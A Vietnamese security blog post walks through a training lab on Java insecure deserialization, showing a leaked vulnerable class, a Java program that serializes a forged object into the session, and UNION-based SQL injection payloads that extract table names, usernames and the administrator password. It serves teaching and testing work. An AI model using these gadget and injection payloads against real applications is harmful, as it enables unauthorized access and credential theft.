- vừa được xem lúc

Insecure deserialization vulnerability - Các lỗ hổng Insecure deserialization (phần 6)

0 0 5

Người đăng: Viblo Security

Theo Viblo Asia

III. Lỗ hổng Deserialization trong ngôn ngữ Java (tiếp)

5. Khai thác lỗ hổng Deserialization trong Java với custom gadget - Ví dụ 1

Với sự phát triển liên tục của ứng dụng, các lỗ hổng cũng thể hiện ngày càng đa dạng, dẫn đến những payload được xây dựng sẵn như ysoserial có thể không hiệu quả trong nhiều trường hợp. Khi đó chúng ta cần dựa vào luồng hoạt động của từng chương trình cụ thể để tự xây dựng gadget, hay còn được gọi là custom gadget.

Phân tích bài lab Developing a custom gadget chain for Java deserialization.

Sau khi đăng nhập, session người dùng có dấu hiệu của Deserialize và chúng ta nhận thấy lớp AccessTokenUser():

Quan sát mã nguồn trang web, chúng ta nhận được một đường link đã bị lộ /backup/AccessTokenUser.java

Truy cập chúng ta thu được tệp AccessTokenUser.java định nghĩa lớp AccessTokenUser() có hai thuộc tính usernameaccessToken. Lưu ý rằng phương thức này cho phép Deserialize:

package data.session.token; import java.io.Serializable; public class AccessTokenUser implements Serializable
{ private final String username; private final String accessToken; public AccessTokenUser(String username, String accessToken) { this.username = username; this.accessToken = accessToken; } public String getUsername() { return username; } public String getAccessToken() { return accessToken; }
}

Còn một thông tin dễ dàng bị bỏ qua, đó là file AccessTokenUser.java nằm trong thư mục /backup, nên có thể thử truy cập tới thư mục này, thu được kết quả thư mục này chứa một file khác ProductTemplate.java:

Truy cập tới /backup/ProductTemplate.java, mã nguồn:

package data.productcatalog; import common.db.JdbcConnectionBuilder; import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.sql.Connection;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement; public class ProductTemplate implements Serializable
{ static final long serialVersionUID = 1L; private final String id; private transient Product product; public ProductTemplate(String id) { this.id = id; } private void readObject(ObjectInputStream inputStream) throws IOException, ClassNotFoundException { inputStream.defaultReadObject(); JdbcConnectionBuilder connectionBuilder = JdbcConnectionBuilder.from( "org.postgresql.Driver", "postgresql", "localhost", 5432, "postgres", "postgres", "password" ).withAutoCommit(); try { Connection connect = connectionBuilder.connect(30); String sql = String.format("SELECT * FROM products WHERE id = '%s' LIMIT 1", id); Statement statement = connect.createStatement(); ResultSet resultSet = statement.executeQuery(sql); if (!resultSet.next()) { return; } product = Product.from(resultSet); } catch (SQLException e) { throw new IOException(e); } } public String getId() { return id; } public Product getProduct() { return product; }
}

Tệp ProductTemplate.java nằm trong package data.productcatalog, định nghĩa lớp ProductTemplate() cho phép Deserialize, với các thuộc tính private id, product. Phương thức readObject() được ghi đè. Chúng ta có thể dự đoán trang web sử dụng hệ cở sở dữ liệu PostgresSQL:

Chú ý biến sql sử dụng phương thức String.format() ẩn chứa lỗ hổng SQL injection.

String sql = String.format("SELECT * FROM products WHERE id = '%s' LIMIT 1", id);

Và giá trị biến id có thể được thay đổi:

public ProductTemplate(String id) { this.id = id;
}

Vì lớp ProductTemplate() cho phép Deserialize nên chúng ta có ý tưởng như sau: Tạo một đối tượng productTemplate thuộc lớp ProductTemplate, thay đổi thuộc tính id của đối tượng này thành payload nhằm khai thác lỗ hổng SQL injection. Serialize đối tượng productTemplate và thay giá trị vào session của người dùng. Khi trang web thực hiện Deserialize session này sẽ thực thi câu truy vấn đã bị chúng ta thay đổi.

Đầu tiên, tạo một package với tên data.productcatalog, các file java của chúng ta sẽ đặt trong package này, vì nếu không tạo package hoặc đặt tên sai sẽ dẫn tới lỗi package không tồn tại.

Chúng ta cần sử dụng tới lớp ProductTemplate, tạo file ProductTemplate.java chỉ cần giữ lại thuộc tính id và phương thức khởi tạo (constructor).

package data.productcatalog; import java.io.Serializable; public class ProductTemplate implements Serializable { private final String id; public ProductTemplate(String id) { this.id = id; }
}

Tạo file Main.java, chúng ta sử dụng file này tạo payload. Trước hết, cần một hàm thực hiện Serialize:

public static void Ser(Object obj) throws IOException { FileOutputStream fileOutputStream = new FileOutputStream("test.txt"); ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream); objectOutputStream.writeObject(obj); objectOutputStream.close();
}

Một hàm thực hiện đọc dữ liệu kết quả Serialize, sau đó sử dụng mã hóa Base64 và mã hóa URL cho ra payload cuối cùng. Do dữ liệu cần đọc ở dạng bytes nên chúng ta dùng phương thức Files.readAllBytes()

public static void ReadAndOut() throws IOException { File file = new File("test.txt"); byte[] bytes = Files.readAllBytes(file.toPath()); String output = Base64.getEncoder().encodeToString(bytes); output = URLEncoder.encode(output, "UTF-8"); System.out.println(output);
}

Chương trình cuối cùng như sau:

package data.productcatalog; import java.io.*;
import java.net.URLEncoder;
import java.nio.file.Files;
import java.util.Base64; public class Main { public static void main(String[] args) throws IOException { ProductTemplate productTemplate = new ProductTemplate("payload here"); Ser(productTemplate); ReadAndOut(); } public static void Ser(Object obj) throws IOException { FileOutputStream fileOutputStream = new FileOutputStream("test.txt"); ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream); objectOutputStream.writeObject(obj); objectOutputStream.close(); } public static void ReadAndOut() throws IOException { File file = new File("test.txt"); byte[] bytes = Files.readAllBytes(file.toPath()); String output = Base64.getEncoder().encodeToString(bytes); output = URLEncoder.encode(output, "UTF-8"); System.out.println(output); }
}

Lúc này, bài lab trở về dạng bài khai thác lỗ hổng SQL injection. Trước hết chúng ta xác nhận số lượng cột bằng error-based UNION attack. Payload:

' UNION SELECT NULL--

Thay vào session, chúng ta nhận được lỗi trong response giá trị serialVersionUID không hợp lệ:

Bổ sung vào lớp ProductTemplate:

Sinh và gửi lại payload, lỗi xuất hiện cho thấy câu truy vấn không đúng số cột, đây là lỗi chúng ta mong muốn thu được, chứng tỏ câu truy vấn đang "hoạt động tốt":

Tiếp tục thử chúng ta thu được câu truy vấn cần có 88 cột:

Tiếp theo, kiểm tra kiểu dữ liệu của các cột có tương thích với string hay không và cột nào có thể hiển thị dữ liệu, payload:

' UNION SELECT 'a','b','c','d','e','f','g','h'--

Kết quả:

Như vậy chúng ta có thể khai thác dữ liệu từ cột thứ 44, và dữ liệu hiển thị phải ở dạng số (numberic). Chúng ta có thể sử dụng hàm CAST() để chuyển đổi.

Tìm kiếm tên bảng:

' UNION SELECT NULL,NULL,NULL,CAST(table_name AS numeric),NULL,NULL,NULL,NULL FROM information_schema.tables--

Thu được tên bảng users, tiếp tục tìm kiếm tên cột, payload:

' UNION SELECT NULL,NULL,NULL,CAST(column_name AS numeric),NULL,NULL,NULL,NULL FROM information_schema.columns WHERE table_name = 'users'--

Thu được một cột có tên username, tìm kiếm tên cột khác username, payload:

' UNION SELECT NULL,NULL,NULL,CAST(column_name AS numeric),NULL,NULL,NULL,NULL FROM information_schema.columns WHERE table_name = 'users' AND column_name != 'username'--

Thu được cột có tên password. Tìm kiếm giá trị username, payload:

' UNION SELECT NULL,NULL,NULL,CAST(username AS numeric),NULL,NULL,NULL,NULL FROM users--

Tìm kiếm mật khẩu tài khoản administrator, payload:

' UNION SELECT NULL,NULL,NULL,CAST(password AS numeric),NULL,NULL,NULL,NULL FROM users WHERE username = 'administrator'--

Đăng nhập và xóa tài khoản người dùng carlos, bài lab hoàn thành:

Các tài liệu tham khảo

Bình luận

Bài viết tương tự

- vừa được xem lúc

Quá trình de/serialization trong java thực sự diễn ra như thế nào?

Giới thiệu. .

0 0 25

- vừa được xem lúc

Nhập môn .NET deserialization

Tản mạn. Dạo gần đây thì dân tình xôn xao về những bug hằng trăm nghìn $ của Microsoft như trên Microsoft Mail Exchange Server, Sharepoint hay các công ty nổi tiếng khác như Solarwind.

0 0 77

- vừa được xem lúc

Phân tích CVE-2021-42392 H2 Database

Lỗ hổng này là một lỗ hổng liên quan đến Deserialization. Nó khá giống với Log4j, nhưng impact thì thấp hơn rất nhiều. Target là H2 Database version < 2.0.

0 0 12

- vừa được xem lúc

Phân tích lỗ hổng Deserialization trong Bitbucket CVE-2022-26133

Về desialization là gì thì anh em có thể tham khảo thêm ở đây. Trên Jira của Atlassian đã mô tả về lỗi như sau:.

0 0 20

- vừa được xem lúc

Phân tích gadget CommonsCollections1 trong ysoserial

Để khai thác lỗ hổng Deserialization, ngoài việc phải kiểm soát được giá trị đầu vào để đưa vào hàm thực hiện deserialize, ta cũng cần phải có một Object mà khi nó được deserialize, nó sẽ gọi tới một

0 0 12

- vừa được xem lúc

Phân tích CVE-2017-3066 - AMF Deserialization trong Adobe ColdFusion

1. Giới thiệu.

0 0 12